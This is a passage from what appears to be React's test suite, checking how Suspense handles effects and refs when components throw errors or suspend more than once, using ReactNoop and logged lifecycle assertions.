<>\n          <span prop=\"Inside\" />\n          <span prop=\"Outside\" />\n        </>,\n      );\n    });\n\n    describe('that throw errors', () => {\n      // @gate enableLegacyCache\n      it('are properly handled for componentDidMount', async () => {\n        let componentDidMountShouldThrow = false;\n\n        class ThrowsInDidMount extends React.Component {\n          componentWillUnmount() {\n            Scheduler.log('ThrowsInDidMount componentWillUnmount');\n          }\n          componentDidMount() {\n            Scheduler.log('ThrowsInDidMount componentDidMount');\n            if (componentDidMountShouldThrow) {\n              throw Error('expected');\n            }\n          }\n          render() {\n            Scheduler.log('ThrowsInDidMount render');\n            return <span prop=\"ThrowsInDidMount\" />;\n          }\n        }\n\n        function App({children = null}) {\n          Scheduler.log('App render');\n          React.useLayoutEffect(() => {\n            Scheduler.log('App create layout');\n            return () => {\n              Scheduler.log('App destroy layout');\n            };\n          }, []);\n          return (\n            <>\n              <Suspense fallback={<Text text=\"Fallback\" />}>\n                {children}\n                <ThrowsInDidMount />\n                <Text text=\"Inside\" />\n              </Suspense>\n              <Text text=\"Outside\" />\n            </>\n          );\n        }\n\n        await act(() => {\n          ReactNoop.render(\n            <ErrorBoundary fallback={<Text text=\"Error\" />}>\n              <App />\n            </ErrorBoundary>,\n          );\n        });\n        assertLog([\n          'ErrorBoundary render: try',\n          'App render',\n          'ThrowsInDidMount render',\n          'Text:Inside render',\n          'Text:Outside render',\n          'Text:Inside create insertion',\n          'Text:Outside create insertion',\n          'ThrowsInDidMount componentDidMount',\n          'Text:Inside create layout',\n          'Text:Outside create layout',\n          'App create layout',\n          'Text:Inside create passive',\n          'Text:Outside create passive',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"ThrowsInDidMount\" />\n            <span prop=\"Inside\" />\n            <span prop=\"Outside\" />\n          </>,\n        );\n\n        // Schedule an update that causes React to suspend.\n        await act(() => {\n          ReactNoop.render(\n            <ErrorBoundary fallback={<Text text=\"Error\" />}>\n              <App>\n                <AsyncText text=\"Async\" />\n              </App>\n            </ErrorBoundary>,\n          );\n        });\n        assertLog([\n          'ErrorBoundary render: try',\n          'App render',\n          'Suspend:Async',\n          'Text:Fallback render',\n          'Text:Outside render',\n          'ThrowsInDidMount componentWillUnmount',\n          'Text:Inside destroy layout',\n          'Text:Fallback create insertion',\n          'Text:Fallback create layout',\n          'Text:Fallback create passive',\n          // pre-warming\n          'Suspend:Async',\n          'ThrowsInDidMount render',\n          'Text:Inside render',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"ThrowsInDidMount\" hidden={true} />\n            <span prop=\"Inside\" hidden={true} />\n            <span prop=\"Fallback\" />\n            <span prop=\"Outside\" />\n          </>,\n        );\n\n        // Resolve the pending suspense and throw\n        componentDidMountShouldThrow = true;\n        await act(async () => {\n          await resolveText('Async');\n        });\n        assertLog([\n          'AsyncText:Async render',\n          'ThrowsInDidMount render',\n          'Text:Inside render',\n          'Text:Fallback destroy insertion',\n          'Text:Fallback destroy layout',\n          'AsyncText:Async create layout',\n\n          // Even though an error was thrown in componentDidMount,\n          // subsequent layout effects should still be destroyed.\n          'ThrowsInDidMount componentDidMount',\n          'Text:Inside create layout',\n\n          // Finish the in-progress commit\n          'Text:Fallback destroy passive',\n          'AsyncText:Async create passive',\n\n          // Destroy insertion, layout, and passive effects in the errored tree.\n          'App destroy layout',\n          'AsyncText:Async destroy layout',\n          'ThrowsInDidMount componentWillUnmount',\n          'Text:Inside destroy insertion',\n          'Text:Inside destroy layout',\n          'Text:Outside destroy insertion',\n          'Text:Outside destroy layout',\n          'AsyncText:Async destroy passive',\n          'Text:Inside destroy passive',\n          'Text:Outside destroy passive',\n\n          // Render fallback\n          'ErrorBoundary render: catch',\n          'Text:Error render',\n          'Text:Error create insertion',\n          'Text:Error create layout',\n          'Text:Error create passive',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Error\" />);\n      });\n\n      // @gate enableLegacyCache\n      it('are properly handled for componentWillUnmount', async () => {\n        class ThrowsInWillUnmount extends React.Component {\n          componentDidMount() {\n            Scheduler.log('ThrowsInWillUnmount componentDidMount');\n          }\n          componentWillUnmount() {\n            Scheduler.log('ThrowsInWillUnmount componentWillUnmount');\n            throw Error('expected');\n          }\n          render() {\n            Scheduler.log('ThrowsInWillUnmount render');\n            return <span prop=\"ThrowsInWillUnmount\" />;\n          }\n        }\n\n        function App({children = null}) {\n          Scheduler.log('App render');\n          React.useLayoutEffect(() => {\n            Scheduler.log('App create layout');\n            return () => {\n              Scheduler.log('App destroy layout');\n            };\n          }, []);\n          return (\n            <>\n              <Suspense fallback={<Text text=\"Fallback\" />}>\n                {children}\n                <ThrowsInWillUnmount />\n                <Text text=\"Inside\" />\n              </Suspense>\n              <Text text=\"Outside\" />\n            </>\n          );\n        }\n\n        await act(() => {\n          ReactNoop.render(\n            <ErrorBoundary fallback={<Text text=\"Error\" />}>\n              <App />\n            </ErrorBoundary>,\n          );\n        });\n        assertLog([\n          'ErrorBoundary render: try',\n          'App render',\n          'ThrowsInWillUnmount render',\n          'Text:Inside render',\n          'Text:Outside render',\n          'Text:Inside create insertion',\n          'Text:Outside create insertion',\n          'ThrowsInWillUnmount componentDidMount',\n          'Text:Inside create layout',\n          'Text:Outside create layout',\n          'App create layout',\n          'Text:Inside create passive',\n          'Text:Outside create passive',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"ThrowsInWillUnmount\" />\n            <span prop=\"Inside\" />\n            <span prop=\"Outside\" />\n          </>,\n        );\n\n        // Schedule an update that suspends and triggers our error code.\n        await act(() => {\n          ReactNoop.render(\n            <ErrorBoundary fallback={<Text text=\"Error\" />}>\n              <App>\n                <AsyncText text=\"Async\" />\n              </App>\n            </ErrorBoundary>,\n          );\n        });\n        assertLog([\n          'ErrorBoundary render: try',\n          'App render',\n          'Suspend:Async',\n          'Text:Fallback render',\n          'Text:Outside render',\n\n          // Even though an error was thrown in componentWillUnmount,\n          // subsequent layout effects should still be destroyed.\n          'ThrowsInWillUnmount componentWillUnmount',\n          'Text:Inside destroy layout',\n\n          // Finish the in-progress commit\n          'Text:Fallback create insertion',\n          'Text:Fallback create layout',\n          'Text:Fallback create passive',\n\n          // Destroy layout and passive effects in the errored tree.\n          'App destroy layout',\n          'Text:Inside destroy insertion',\n          'Text:Fallback destroy insertion',\n          'Text:Fallback destroy layout',\n          'Text:Outside destroy insertion',\n          'Text:Outside destroy layout',\n          'Text:Inside destroy passive',\n          'Text:Fallback destroy passive',\n          'Text:Outside destroy passive',\n\n          // Render fallback\n          'ErrorBoundary render: catch',\n          'Text:Error render',\n          'Text:Error create insertion',\n          'Text:Error create layout',\n          'Text:Error create passive',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Error\" />);\n      });\n\n      // @gate enableLegacyCache\n      it('are properly handled for layout effect creation', async () => {\n        let useLayoutEffectShouldThrow = false;\n\n        function ThrowsInLayoutEffect({unused}) {\n          Scheduler.log('ThrowsInLayoutEffect render');\n          React.useLayoutEffect(() => {\n            Scheduler.log('ThrowsInLayoutEffect useLayoutEffect create');\n            if (useLayoutEffectShouldThrow) {\n              throw Error('expected');\n            }\n            return () => {\n              Scheduler.log('ThrowsInLayoutEffect useLayoutEffect destroy');\n            };\n          }, []);\n          return <span prop=\"ThrowsInLayoutEffect\" />;\n        }\n\n        function App({children = null}) {\n          Scheduler.log('App render');\n          React.useLayoutEffect(() => {\n            Scheduler.log('App create layout');\n            return () => {\n              Scheduler.log('App destroy layout');\n            };\n          }, []);\n          return (\n            <>\n              <Suspense fallback={<Text text=\"Fallback\" />}>\n                {children}\n                <ThrowsInLayoutEffect />\n                <Text text=\"Inside\" />\n              </Suspense>\n              <Text text=\"Outside\" />\n            </>\n          );\n        }\n\n        await act(() => {\n          ReactNoop.render(\n            <ErrorBoundary fallback={<Text text=\"Error\" />}>\n              <App />\n            </ErrorBoundary>,\n          );\n        });\n        assertLog([\n          'ErrorBoundary render: try',\n          'App render',\n          'ThrowsInLayoutEffect render',\n          'Text:Inside render',\n          'Text:Outside render',\n          'Text:Inside create insertion',\n          'Text:Outside create insertion',\n          'ThrowsInLayoutEffect useLayoutEffect create',\n          'Text:Inside create layout',\n          'Text:Outside create layout',\n          'App create layout',\n          'Text:Inside create passive',\n          'Text:Outside create passive',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"ThrowsInLayoutEffect\" />\n            <span prop=\"Inside\" />\n            <span prop=\"Outside\" />\n          </>,\n        );\n\n        // Schedule an update that causes React to suspend.\n        await act(() => {\n          ReactNoop.render(\n            <ErrorBoundary fallback={<Text text=\"Error\" />}>\n              <App>\n                <AsyncText text=\"Async\" />\n              </App>\n            </ErrorBoundary>,\n          );\n        });\n        assertLog([\n          'ErrorBoundary render: try',\n          'App render',\n          'Suspend:Async',\n          'Text:Fallback render',\n          'Text:Outside render',\n          'ThrowsInLayoutEffect useLayoutEffect destroy',\n          'Text:Inside destroy layout',\n          'Text:Fallback create insertion',\n          'Text:Fallback create layout',\n          'Text:Fallback create passive',\n          // pre-warming\n          'Suspend:Async',\n          'ThrowsInLayoutEffect render',\n          'Text:Inside render',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"ThrowsInLayoutEffect\" hidden={true} />\n            <span prop=\"Inside\" hidden={true} />\n            <span prop=\"Fallback\" />\n            <span prop=\"Outside\" />\n          </>,\n        );\n\n        // Resolve the pending suspense and throw\n        useLayoutEffectShouldThrow = true;\n        await act(async () => {\n          await resolveText('Async');\n        });\n        assertLog([\n          'AsyncText:Async render',\n          'ThrowsInLayoutEffect render',\n          'Text:Inside render',\n\n          'Text:Fallback destroy insertion',\n          'Text:Fallback destroy layout',\n\n          // Even though an error was thrown in useLayoutEffect,\n          // subsequent layout effects should still be created.\n          'AsyncText:Async create layout',\n          'ThrowsInLayoutEffect useLayoutEffect create',\n          'Text:Inside create layout',\n\n          // Finish the in-progress commit\n          'Text:Fallback destroy passive',\n          'AsyncText:Async create passive',\n\n          // Destroy layout and passive effects in the errored tree.\n          'App destroy layout',\n          'AsyncText:Async destroy layout',\n          'Text:Inside destroy insertion',\n          'Text:Inside destroy layout',\n          'Text:Outside destroy insertion',\n          'Text:Outside destroy layout',\n          'AsyncText:Async destroy passive',\n          'Text:Inside destroy passive',\n          'Text:Outside destroy passive',\n\n          // Render fallback\n          'ErrorBoundary render: catch',\n          'Text:Error render',\n          'Text:Error create insertion',\n          'Text:Error create layout',\n          'Text:Error create passive',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Error\" />);\n      });\n\n      // @gate enableLegacyCache\n      it('are properly handled for layout effect destruction', async () => {\n        function ThrowsInLayoutEffectDestroy({unused}) {\n          Scheduler.log('ThrowsInLayoutEffectDestroy render');\n          React.useLayoutEffect(() => {\n            Scheduler.log('ThrowsInLayoutEffectDestroy useLayoutEffect create');\n            return () => {\n              Scheduler.log(\n                'ThrowsInLayoutEffectDestroy useLayoutEffect destroy',\n              );\n              throw Error('expected');\n            };\n          }, []);\n          return <span prop=\"ThrowsInLayoutEffectDestroy\" />;\n        }\n\n        function App({children = null}) {\n          Scheduler.log('App render');\n          React.useLayoutEffect(() => {\n            Scheduler.log('App create layout');\n            return () => {\n              Scheduler.log('App destroy layout');\n            };\n          }, []);\n          return (\n            <>\n              <Suspense fallback={<Text text=\"Fallback\" />}>\n                {children}\n                <ThrowsInLayoutEffectDestroy />\n                <Text text=\"Inside\" />\n              </Suspense>\n              <Text text=\"Outside\" />\n            </>\n          );\n        }\n\n        await act(() => {\n          ReactNoop.render(\n            <ErrorBoundary fallback={<Text text=\"Error\" />}>\n              <App />\n            </ErrorBoundary>,\n          );\n        });\n        assertLog([\n          'ErrorBoundary render: try',\n          'App render',\n          'ThrowsInLayoutEffectDestroy render',\n          'Text:Inside render',\n          'Text:Outside render',\n          'Text:Inside create insertion',\n          'Text:Outside create insertion',\n          'ThrowsInLayoutEffectDestroy useLayoutEffect create',\n          'Text:Inside create layout',\n          'Text:Outside create layout',\n          'App create layout',\n          'Text:Inside create passive',\n          'Text:Outside create passive',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"ThrowsInLayoutEffectDestroy\" />\n            <span prop=\"Inside\" />\n            <span prop=\"Outside\" />\n          </>,\n        );\n\n        // Schedule an update that suspends and triggers our error code.\n        await act(() => {\n          ReactNoop.render(\n            <ErrorBoundary fallback={<Text text=\"Error\" />}>\n              <App>\n                <AsyncText text=\"Async\" />\n              </App>\n            </ErrorBoundary>,\n          );\n        });\n        assertLog([\n          'ErrorBoundary render: try',\n          'App render',\n          'Suspend:Async',\n          'Text:Fallback render',\n          'Text:Outside render',\n\n          // Even though an error was thrown in useLayoutEffect destroy,\n          // subsequent layout effects should still be destroyed.\n          'ThrowsInLayoutEffectDestroy useLayoutEffect destroy',\n          'Text:Inside destroy layout',\n\n          // Finish the in-progress commit\n          'Text:Fallback create insertion',\n          'Text:Fallback create layout',\n          'Text:Fallback create passive',\n\n          // Destroy layout and passive effects in the errored tree.\n          'App destroy layout',\n          'Text:Inside destroy insertion',\n          'Text:Fallback destroy insertion',\n          'Text:Fallback destroy layout',\n          'Text:Outside destroy insertion',\n          'Text:Outside destroy layout',\n          'Text:Inside destroy passive',\n          'Text:Fallback destroy passive',\n          'Text:Outside destroy passive',\n\n          // Render fallback\n          'ErrorBoundary render: catch',\n          'Text:Error render',\n          'Text:Error create insertion',\n          'Text:Error create layout',\n          'Text:Error create passive',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Error\" />);\n      });\n    });\n\n    // @gate enableLegacyCache\n    it('should be only destroy layout effects once if a tree suspends in multiple places', async () => {\n      class ClassText extends React.Component {\n        componentDidMount() {\n          const {text} = this.props;\n          Scheduler.log(`ClassText:${text} componentDidMount`);\n        }\n        componentDidUpdate() {\n          const {text} = this.props;\n          Scheduler.log(`ClassText:${text} componentDidUpdate`);\n        }\n        componentWillUnmount() {\n          const {text} = this.props;\n          Scheduler.log(`ClassText:${text} componentWillUnmount`);\n        }\n        render() {\n          const {children, text} = this.props;\n          Scheduler.log(`ClassText:${text} render`);\n          return <span prop={text}>{children}</span>;\n        }\n      }\n\n      function App({children = null}) {\n        return (\n          <Suspense fallback={<ClassText text=\"Fallback\" />}>\n            <Text text=\"Function\" />\n            {children}\n            <ClassText text=\"Class\" />\n          </Suspense>\n        );\n      }\n\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([\n        'Text:Function render',\n        'ClassText:Class render',\n        'Text:Function create insertion',\n        'Text:Function create layout',\n        'ClassText:Class componentDidMount',\n        'Text:Function create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Function\" />\n          <span prop=\"Class\" />\n        </>,\n      );\n\n      // Schedule an update that causes React to suspend.\n      await act(async () => {\n        ReactNoop.render(\n          <App>\n            <AsyncText text=\"Async_1\" />\n            <AsyncText text=\"Async_2\" />\n          </App>,\n        );\n        await waitFor([\n          'Text:Function render',\n          'Suspend:Async_1',\n          'ClassText:Fallback render',\n          'Text:Function destroy layout',\n          'ClassText:Class componentWillUnmount',\n          'ClassText:Fallback componentDidMount',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"Function\" hidden={true} />\n            <span prop=\"Class\" hidden={true} />\n            <span prop=\"Fallback\" />\n          </>,\n        );\n      });\n\n      // pre-warming\n      assertLog([\n        'Text:Function render',\n        'Suspend:Async_1',\n        'Suspend:Async_2',\n        'ClassText:Class render',\n      ]);\n\n      // Resolving the suspended resource should re-create inner layout effects.\n      await act(async () => {\n        await resolveText('Async_1');\n      });\n      assertLog([\n        'Text:Function render',\n        'AsyncText:Async_1 render',\n        'Suspend:Async_2',\n        // pre-warming\n        'Text:Function render',\n        'AsyncText:Async_1 render',\n        'Suspend:Async_2',\n        'ClassText:Class render',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Function\" hidden={true} />\n          <span prop=\"Class\" hidden={true} />\n          <span prop=\"Fallback\" />\n        </>,\n      );\n\n      // Resolving the suspended resource should re-create inner layout effects.\n      await act(async () => {\n        await resolveText('Async_2');\n      });\n      assertLog([\n        'Text:Function render',\n        'AsyncText:Async_1 render',\n        'AsyncText:Async_2 render',\n        'ClassText:Class render',\n        'ClassText:Fallback componentWillUnmount',\n        'Text:Function create layout',\n        'AsyncText:Async_1 create layout',\n        'AsyncText:Async_2 create layout',\n        'ClassText:Class componentDidMount',\n        'AsyncText:Async_1 create passive',\n        'AsyncText:Async_2 create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Function\" />\n          <span prop=\"Async_1\" />\n          <span prop=\"Async_2\" />\n          <span prop=\"Class\" />\n        </>,\n      );\n\n      await act(() => {\n        ReactNoop.render(null);\n      });\n      assertLog([\n        'Text:Function destroy insertion',\n        'Text:Function destroy layout',\n        'AsyncText:Async_1 destroy layout',\n        'AsyncText:Async_2 destroy layout',\n        'ClassText:Class componentWillUnmount',\n        'Text:Function destroy passive',\n        'AsyncText:Async_1 destroy passive',\n        'AsyncText:Async_2 destroy passive',\n      ]);\n    });\n\n    // @gate enableLegacyCache\n    it('should be only destroy layout effects once if a component suspends multiple times', async () => {\n      class ClassText extends React.Component {\n        componentDidMount() {\n          const {text} = this.props;\n          Scheduler.log(`ClassText:${text} componentDidMount`);\n        }\n        componentDidUpdate() {\n          const {text} = this.props;\n          Scheduler.log(`ClassText:${text} componentDidUpdate`);\n        }\n        componentWillUnmount() {\n          const {text} = this.props;\n          Scheduler.log(`ClassText:${text} componentWillUnmount`);\n        }\n        render() {\n          const {children, text} = this.props;\n          Scheduler.log(`ClassText:${text} render`);\n          return <span prop={text}>{children}</span>;\n        }\n      }\n\n      let textToRead = null;\n\n      function Suspender() {\n        Scheduler.log(`Suspender \"${textToRead}\" render`);\n        if (textToRead !== null) {\n          readText(textToRead);\n        }\n        return <span prop=\"Suspender\" />;\n      }\n\n      function App({children = null}) {\n        return (\n          <Suspense fallback={<ClassText text=\"Fallback\" />}>\n            <Text text=\"Function\" />\n            <Suspender />\n            <ClassText text=\"Class\" />\n          </Suspense>\n        );\n      }\n\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([\n        'Text:Function render',\n        'Suspender \"null\" render',\n        'ClassText:Class render',\n        'Text:Function create insertion',\n        'Text:Function create layout',\n        'ClassText:Class componentDidMount',\n        'Text:Function create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Function\" />\n          <span prop=\"Suspender\" />\n          <span prop=\"Class\" />\n        </>,\n      );\n\n      // Schedule an update that causes React to suspend.\n      textToRead = 'A';\n      await act(async () => {\n        ReactNoop.render(<App />);\n        await waitFor([\n          'Text:Function render',\n          'Suspender \"A\" render',\n          'Suspend:A',\n          'ClassText:Fallback render',\n          'Text:Function destroy layout',\n          'ClassText:Class componentWillUnmount',\n          'ClassText:Fallback componentDidMount',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"Function\" hidden={true} />\n            <span prop=\"Suspender\" hidden={true} />\n            <span prop=\"Class\" hidden={true} />\n            <span prop=\"Fallback\" />\n          </>,\n        );\n      });\n\n      // pre-warming\n      assertLog([\n        'Text:Function render',\n        'Suspender \"A\" render',\n        'Suspend:A',\n        'ClassText:Class render',\n      ]);\n\n      // Resolving the suspended resource should re-create inner layout effects.\n      textToRead = 'B';\n      await act(async () => {\n        await resolveText('A');\n      });\n      assertLog([\n        'Text:Function render',\n        'Suspender \"B\" render',\n        'Suspend:B',\n        // pre-warming\n        'Text:Function render',\n        'Suspender \"B\" render',\n        'Suspend:B',\n        'ClassText:Class render',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Function\" hidden={true} />\n          <span prop=\"Suspender\" hidden={true} />\n          <span prop=\"Class\" hidden={true} />\n          <span prop=\"Fallback\" />\n        </>,\n      );\n\n      // Resolving the suspended resource should re-create inner layout effects.\n      await act(async () => {\n        await resolveText('B');\n      });\n      assertLog([\n        'Text:Function render',\n        'Suspender \"B\" render',\n        'ClassText:Class render',\n        'ClassText:Fallback componentWillUnmount',\n        'Text:Function create layout',\n        'ClassText:Class componentDidMount',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Function\" />\n          <span prop=\"Suspender\" />\n          <span prop=\"Class\" />\n        </>,\n      );\n\n      await act(() => {\n        ReactNoop.render(null);\n      });\n      assertLog([\n        'Text:Function destroy insertion',\n        'Text:Function destroy layout',\n        'ClassText:Class componentWillUnmount',\n        'Text:Function destroy passive',\n      ]);\n    });\n  });\n\n  describe('refs within a tree that re-suspends in an update', () => {\n    function RefCheckerOuter({Component}) {\n      const refObject = React.useRef(null);\n\n      const manualRef = React.useMemo(() => ({current: null}), []);\n      const refCallback = React.useCallback(value => {\n        Scheduler.log(`RefCheckerOuter refCallback value? ${value != null}`);\n        manualRef.current = value;\n      }, []);\n\n      Scheduler.log(`RefCheckerOuter render`);\n\n      React.useLayoutEffect(() => {\n        Scheduler.log(\n          `RefCheckerOuter create layout refObject? ${\n            refObject.current != null\n          } refCallback? ${manualRef.current != null}`,\n        );\n        return () => {\n          Scheduler.log(\n            `RefCheckerOuter destroy layout refObject? ${\n              refObject.current != null\n            } refCallback? ${manualRef.current != null}`,\n          );\n        };\n      }, []);\n\n      return (\n        <>\n          <Component ref={refObject} prop=\"refObject\">\n            <RefCheckerInner forwardedRef={refObject} text=\"refObject\" />\n          </Component>\n          <Component ref={refCallback} prop=\"refCallback\">\n            <RefCheckerInner forwardedRef={manualRef} text=\"refCallback\" />\n          </Component>\n        </>\n      );\n    }\n\n    function RefCheckerInner({forwardedRef, text}) {\n      Scheduler.log(`RefCheckerInner:${text} render`);\n      React.useLayoutEffect(() => {\n        Scheduler.log(\n          `RefCheckerInner:${text} create layout ref? ${\n            forwardedRef.current != null\n          }`,\n        );\n        return () => {\n          Scheduler.log(\n            `RefCheckerInner:${text} destroy layout ref? ${\n              forwardedRef.current != null\n            }`,\n          );\n        };\n      }, []);\n      return null;\n    }\n\n    // @gate enableLegacyCache && !disableLegacyMode\n    it('should not be cleared within legacy roots', async () => {\n      class ClassComponent extends React.Component {\n        render() {\n          Scheduler.log(`ClassComponent:${this.props.prop} render`);\n          return this.props.children;\n        }\n      }\n\n      function App({children}) {\n        Scheduler.log(`App render`);\n        return (\n          <Suspense fallback={<Text text=\"Fallback\" />}>\n            {children}\n            <RefCheckerOuter Component={ClassComponent} />\n          </Suspense>\n        );\n      }\n\n      await act(() => {\n        ReactNoop.renderLegacySyncRoot(<App />);\n      });\n      assertLog([\n        'App render',\n        'RefCheckerOuter render',\n        'ClassComponent:refObject render',\n        'RefCheckerInner:refObject render',\n        'ClassComponent:refCallback render',\n        'RefCheckerInner:refCallback render',\n        'RefCheckerInner:refObject create layout ref? false',\n        'RefCheckerInner:refCallback create layout ref? false',\n        'RefCheckerOuter refCallback value? true',\n        'RefCheckerOuter create layout refObject? true refCallback? true',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n\n      // Suspend the inner Suspense subtree (only inner effects should be destroyed)\n      await act(() => {\n        ReactNoop.renderLegacySyncRoot(\n          <App children={<AsyncText text=\"Async\" />} />,\n        );\n      });\n      await advanceTimers(1000);\n      assertLog([\n        'App render',\n        'Suspend:Async',\n        'RefCheckerOuter render',\n        'ClassComponent:refObject render',\n        'RefCheckerInner:refObject render',\n        'ClassComponent:refCallback render',\n        'RefCheckerInner:refCallback render',\n        'Text:Fallback render',\n        'Text:Fallback create insertion',\n        'Text:Fallback create layout',\n        'Text:Fallback create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Fallback\" />);\n\n      // Resolving the suspended resource should re-create inner layout effects.\n      await act(async () => {\n        await resolveText('Async');\n      });\n      assertLog([\n        'AsyncText:Async render',\n        'Text:Fallback destroy insertion',\n        'Text:Fallback destroy layout',\n        'AsyncText:Async create layout',\n        'Text:Fallback destroy passive',\n        'AsyncText:Async create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Async\" />);\n\n      await act(() => {\n        ReactNoop.renderLegacySyncRoot(null);\n      });\n      assertLog([\n        'AsyncText:Async destroy layout',\n        'RefCheckerOuter destroy layout refObject? true refCallback? true',\n        'RefCheckerInner:refObject destroy layout ref? false',\n        'RefCheckerOuter refCallback value? false',\n        'RefCheckerInner:refCallback destroy layout ref? false',\n        'AsyncText:Async destroy passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n    });\n\n    // @gate enableLegacyCache\n    it('should be cleared and reset for host components', async () => {\n      function App({children}) {\n        Scheduler.log(`App render`);\n        return (\n          <Suspense fallback={<Text text=\"Fallback\" />}>\n            {children}\n            <RefCheckerOuter Component=\"span\" />\n          </Suspense>\n        );\n      }\n\n      // Mount\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([\n        'App render',\n        'RefCheckerOuter render',\n        'RefCheckerInner:refObject render',\n        'RefCheckerInner:refCallback render',\n        'RefCheckerInner:refObject create layout ref? false',\n        'RefCheckerInner:refCallback create layout ref? false',\n        'RefCheckerOuter refCallback value? true',\n        'RefCheckerOuter create layout refObject? true refCallback? true',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"refObject\" />\n          <span prop=\"refCallback\" />\n        </>,\n      );\n\n      // Suspend the inner Suspense subtree (only inner effects should be destroyed)\n      await act(() => {\n        ReactNoop.render(<App children={<AsyncText text=\"Async\" />} />);\n      });\n      await advanceTimers(1000);\n      assertLog([\n        'App render',\n        'Suspend:Async',\n        'Text:Fallback render',\n        'RefCheckerOuter destroy layout refObject? true refCallback? true',\n        'RefCheckerInner:refObject destroy layout ref? false',\n        'RefCheckerOuter refCallback value? false',\n        'RefCheckerInner:refCallback destroy layout ref? false',\n        'Text:Fallback create insertion',\n        'Text:Fallback create layout',\n        'Text:Fallback create passive',\n        // pre-warming\n        'Suspend:Async',\n        'RefCheckerOuter render',\n        'RefCheckerInner:refObject render',\n        'RefCheckerInner:refCallback render',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"refObject\" hidden={true} />\n          <span prop=\"refCallback\" hidden={true} />\n          <span prop=\"Fallback\" />\n        </>,\n      );\n\n      // Resolving the suspended resource should re-create inner layout effects.\n      await act(async () => {\n        await resolveText('Async');\n      });\n      assertLog([\n        'AsyncText:Async render',\n        'RefCheckerOuter render',\n        'RefCheckerInner:refObject render',\n        'RefCheckerInner:refCallback render',\n        'Text:Fallback destroy insertion',\n        'Text:Fallback destroy layout',\n        'AsyncText:Async create layout',\n        'RefCheckerInner:refObject create layout ref? false',\n        'RefCheckerInner:refCallback create layout ref? false',\n        'RefCheckerOuter refCallback value? true',\n        'RefCheckerOuter create layout refObject? true refCallback? true',\n        'Text:Fallback destroy passive',\n        'AsyncText:Async create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Async\" />\n          <span prop=\"refObject\" />\n          <span prop=\"refCallback\" />\n        </>,\n      );\n\n      await act(() => {\n        ReactNoop.render(null);\n      });\n      assertLog([\n        'AsyncText:Async destroy layout',\n        'RefCheckerOuter destroy layout refObject? true refCallback? true',\n        'RefCheckerInner:refObject destroy layout ref? false',\n        'RefCheckerOuter refCallback value? false',\n        'RefCheckerInner:refCallback destroy layout ref? false',\n        'AsyncText:Async destroy passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n    });\n\n    // @gate enableLegacyCache\n    it('should be cleared and reset for class components', async () => {\n      class ClassComponent extends React.Component {\n        render() {\n          Scheduler.log(`ClassComponent:${this.props.prop} render`);\n          return this.props.children;\n        }\n      }\n\n      function App({children}) {\n        Scheduler.log(`App render`);\n        return (\n          <Suspense fallback={<Text text=\"Fallback\" />}>\n            {children}\n            <RefCheckerOuter Component={ClassComponent} />\n          </Suspense>\n        );\n      }\n\n      // Mount\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([\n        'App render',\n        'RefCheckerOuter render',\n        'ClassComponent:refObject render',\n        'RefCheckerInner:refObject render',\n        'ClassComponent:refCallback render',\n        'RefCheckerInner:refCallback render',\n        'RefCheckerInner:refObject create layout ref? false',\n        'RefCheckerInner:refCallback create layout ref? false',\n        'RefCheckerOuter refCallback value? true',\n        'RefCheckerOuter create layout refObject? true refCallback? true',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n\n      // Suspend the inner Suspense subtree (only inner effects should be destroyed)\n      await act(() => {\n        ReactNoop.render(<App children={<AsyncText text=\"Async\" />} />);\n      });\n      await advanceTimers(1000);\n      assertLog([\n        'App render',\n        'Suspend:Async',\n        'Text:Fallback render',\n        'RefCheckerOuter destroy layout refObject? true refCallback? true',\n        'RefCheckerInner:refObject destroy layout ref? false',\n        'RefCheckerOuter refCallback value? false',\n        'RefCheckerInner:refCallback destroy layout ref? false',\n        'Text:Fallback create insertion',\n        'Text:Fallback create layout',\n        'Text:Fallback create passive',\n        // pre-warming\n        'Suspend:Async',\n        'RefCheckerOuter render',\n        'ClassComponent:refObject render',\n        'RefCheckerInner:refObject render',\n        'ClassComponent:refCallback render',\n        'RefCheckerInner:refCallback render',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Fallback\" />);\n\n      // Resolving the suspended resource should re-create inner layout effects.\n      await act(async () => {\n        await 